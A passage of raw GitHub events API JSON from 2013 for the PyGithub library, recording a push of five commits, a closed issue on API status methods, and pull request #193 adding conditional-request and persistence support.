user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":1,"closed_issues":3,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-06T09:11:57Z","due_on":null},"comments":2,"created_at":"2013-08-07T08:57:49Z","updated_at":"2013-09-06T09:11:57Z","closed_at":"2013-09-06T09:11:57Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Maybe I haven't found it, but it would be very useful to have methods for checking the status of the GitHub API (https://status.github.com/api)"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23927975","html_url":"https://github.com/jacquev6/PyGithub/issues/188#issuecomment-23927975","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188","id":23927975,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-06T09:11:57Z","updated_at":"2013-09-06T09:11:57Z","body":"Done, will be in next release!"}},"public":true,"created_at":"2013-09-06T09:11:58Z"},{"id":"1823408513","type":"PushEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"push_id":225103902,"size":5,"distinct_size":5,"ref":"refs/heads/develop","head":"a6597499c2f82e063074a3036d875417d5efa296","before":"1d0ba7ef6461ccdd25af74bfed61d3ceb5bc926d","commits":[{"sha":"dc610dfaac50dd5bbbd572986cda35f6729aee5b","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Small fixes and todos","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dc610dfaac50dd5bbbd572986cda35f6729aee5b"},{"sha":"2081675afbfed404f6a580bce0ec363bebbfd98b","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Fix doc generation","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2081675afbfed404f6a580bce0ec363bebbfd98b"},{"sha":"f2feb81dae1b28af80c559db7328f2d6fe017911","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Add default parameters to greatly reduce code redoundancy","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2feb81dae1b28af80c559db7328f2d6fe017911"},{"sha":"c819580ce872f251e8ec23deee95d9fb15ca19c9","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Get status of Github API (#188)","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c819580ce872f251e8ec23deee95d9fb15ca19c9"},{"sha":"a6597499c2f82e063074a3036d875417d5efa296","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"message":"Merge branch 'topic/ApiStatus' into develop","distinct":true,"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a6597499c2f82e063074a3036d875417d5efa296"}]},"public":true,"created_at":"2013-09-06T09:05:12Z"},{"id":"1823374294","type":"PullRequestEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"closed","number":193,"pull_request":{"url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/193","id":7785326,"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch","issue_url":"https://github.com/jacquev6/PyGithub/pull/193","number":193,"state":"closed","title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```","created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-06T08:15:35Z","closed_at":"2013-09-06T08:15:35Z","merged_at":null,"merge_commit_sha":"de0e83166f4cc5d6cb177b12b313bb0844e89a12","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":2,"closed_issues":2,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-06T08:15:35Z","due_on":null},"commits_url":"https://github.com/jacquev6/PyGithub/pull/193/commits","review_comments_url":"https://github.com/jacquev6/PyGithub/pull/193/comments","review_comment_url":"/repos/jacquev6/PyGithub/pulls/comments/{number}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","head":{"label":"akfish:NewFix","ref":"NewFix","sha":"ebbfec86a2fb352cc08e3595a6b58fa1ccccc111","user":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"repo":{"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3 - AKFish Fork","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-09-06T08:15:35Z","pushed_at":"2013-08-27T11:14:27Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7340,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master"}},"base":{"label":"jacquev6:develop","ref":"develop","sha":"ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"repo":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-09-06T08:12:07Z","pushed_at":"2013-09-06T08:12:06Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":828,"watchers_count":256,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":76,"mirror_url":null,"open_issues_count":16,"forks":76,"open_issues":16,"watchers":256,"master_branch":"master","default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/193"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/193"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/193"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/193/comments"}},"merged":false,"mergeable":false,"mergeable_state":"dirty","merged_by":null,"comments":12,"review_comments":1,"commits":40,"additions":1669,"deletions":45,"changed_files":41}},"public":true,"created_at":"2013-09-06T08:15:35Z"},{"id":"1823374292","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193/events","html_url":"https://github.com/jacquev6/PyGithub/pull/193","id":18404629,"number":193,"title":"Add Conditional Request and Data Persistence Support Alternative Solution","user":{"login":"akfish","id":922715,"avatar_url":"https://0.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"labels":[],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":2,"closed_issues":2,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-06T08:15:35Z","due_on":null},"comments":12,"created_at":"2013-08-22T10:14:26Z","updated_at":"2013-09-06T08:15:35Z","closed_at":"2013-09-06T08:15:35Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/193","diff_url":"https://github.com/jacquev6/PyGithub/pull/193.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/193.patch"},"body":"An alternative solution to pull request #189 based on #192. I am making this new pull request for clarity.\r\nChange List\r\n---------------\r\n1. Add support to [Conditional Request](http://developer.github.com/guides/getting-started/#conditional-requests) API.\r\n * Add ```GithubObject.etag``` property\r\n * Add ```GithubObject.last_modified``` property\r\n * Modify ```Requester``` class to handle 304 response code\r\n * Modify ```Requester``` class to enable making conditional request\r\n * Add ```NotModifiedException``` class for 304 response code\r\n * Add ```GithubObject.update()``` method\r\n * Add a few private helper methods to make this work\r\n2. Add methods for Data Persistence\r\n * Add ```GithubObject.save(file_fname)``` method\r\n * Add ```GithubObject.load(file_fname)``` class method\r\n3. Test class for conditional request\r\n\r\nUsage\r\n---------------\r\n```python\r\n# Get remote issue list and cache locally when syncing\r\nfor issue in repo.get_issues():\r\n issue.save(local_file_path)\r\n\r\n# Offline use/Quick restore previous work state\r\nfor local_file_path in cache.get_files():\r\n cached_issue = issue.load(local_file_path)\r\n #do something with it\r\n\r\n# And check for update when needed\r\nif (cached_issue.update()):\r\n print \"Issue synced“\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23925438","html_url":"https://github.com/jacquev6/PyGithub/pull/193#issuecomment-23925438","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/193","id":23925438,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-06T08:15:35Z","updated_at":"2013-09-06T08:15:35Z","body":"I'm glad it suits your needs, I've just merged conditional requests and persistence in the `develop` branch. It will be in next release, probably this week-end.\r\n\r\nIt has been a pleasure to collaborate with you, thank you 